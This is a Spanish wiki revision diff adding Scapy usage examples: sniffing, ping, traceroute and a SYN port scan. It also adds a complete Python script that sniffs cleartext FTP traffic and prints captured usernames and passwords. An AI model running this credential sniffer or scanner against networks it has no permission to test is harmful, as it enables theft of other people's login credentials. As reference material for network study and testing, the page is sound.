Herramientas de usuario

Herramientas del sitio


enlaces:utilidades_de_red:scapy

Diferencias

Muestra las diferencias entre dos versiones de la página.

Enlace a la vista de comparación

Próxima revisión
Revisión previa
Última revisiónAmbos lados, revisión siguiente
enlaces:utilidades_de_red:scapy [2018/11/22 16:08] – creado cayuenlaces:utilidades_de_red:scapy [2018/11/26 16:29] cayu
Línea 1: Línea 1:
 ====== Scapy ====== ====== Scapy ======
 Scapy es una herramienta de manipulación de paquetes de red, escrita en Python. Puede falsear o decodificar paquetes, enviarlos, capturarlos y hacer coincidir solicitudes y respuestas. Scapy es una herramienta de manipulación de paquetes de red, escrita en Python. Puede falsear o decodificar paquetes, enviarlos, capturarlos y hacer coincidir solicitudes y respuestas.
 +===== Ejemplos =====
 +==== Sniffer ====
 +<code python>
 +sniff(iface="<interface>", prn = lambda x: x.show(), filter="tcp", store=0)
 +</code>
 +Python/Scapy FTP Password Sniffer :
 +<code python>
 +#! /usr/bin/python
 + 
 +import sys
 +from logging import getLogger, ERROR
 +getLogger('scapy.runtime').setLevel(ERROR)
 +try:
 +    from scapy.all import *
 +except ImportError:
 +    print '[!] Error: Scapy Installation Not Found'
 +    sys.exit(1)
 + 
 +interface = sys.argv[1]
 + 
 +usernames = ['Error: Unlucky Timing']
 +passwords = ['Error: Unlucky Timing']
 + 
 +def check_login(pkt, username, password):
 +    try:
 +        if '230' in pkt[Raw].load:
 +            print '[*] Valid Credentials Found... '
 +            print '\t[*] ' + str(pkt[IP].dst).strip() + ' -> ' + str(pkt[IP].src).strip() + ':'
 +            print '\t   [*] Username: ' + username
 +            print '\t   [*] Password: ' + password + '\n'
 +            return
 +        else:
 +            return
 +    except Exception:
 +        return 
 + 
 +def check_for_ftp(pkt):
 +    if pkt.haslayer(TCP) and pkt.haslayer(Raw):
 +        if pkt[TCP].dport == 21 or pkt[TCP].sport == 21:
 +            return True
 +        else:
 +            return False
 +    else:
 +        return False
 + 
 +def check_pkt(pkt):
 +    if check_for_ftp(pkt):
 +        pass
 +    else:
 +        return
 +    data = pkt[Raw].load
 +    if 'USER ' in data:
 +        usernames.append(data.split('USER ')[1].strip())
 +    elif 'PASS ' in data:
 +        passwords.append(data.split('PASS ')[1].strip())
 +    else:
 +        check_login(pkt, usernames[-1], passwords[-1])
 +    return
 + 
 +print '[*] Sniffing Started on %s... \n' % interface
 +try:
 +    sniff(iface=interface, prn=check_pkt, store=0)
 +except Exception:
 +    print '[!] Error: Failed to Initialize Sniffing'
 +    sys.exit(1)
 +print '\n[*] Sniffing Stopped'
 +</code>
 +==== Ping ====
 +<code python>
 +sr(IP(dst="8.8.8.8")/ICMP())
 +</code>
 +==== Ejemplos de 0x90 ====
 +Ejemplos de [[https://github.com/0x90/uberscapy|0x90]].
 +
 +Sniffing on eth0:
 +<code python>
 +    sniff(iface="eth0", prn=lambda x: x.summary())
 +    sniff(iface="eth0", prn=lambda x: x.show())
 +</code>
 +Formated sniff output
 +<code python>
 +    sniff(prn=lambda x:x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}"))
 +</code>    
 +    
 +Traceroute:
 +<code python>
 + traceroute(["www.google.com","www.ust.cl","www.terra.cl","www.microsoft.com"],maxttl=20)
 + result, unans=_
 + result.show()
 + # save output
 + result.graph(type="ps", target="|lp")
 + result.graph(target="> grafico.svg")
 +</code>
 +Port scanner:
 +<code python>
 + res,unans = sr( IP(dst="target")/TCP(flags="S", dport=(1,1024)) )
 + res.nsummary( lfilter=lambda (s,r): (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) )
 +</code>
 +
 +===== Referencias =====
 +https://github.com/0x90/uberscapy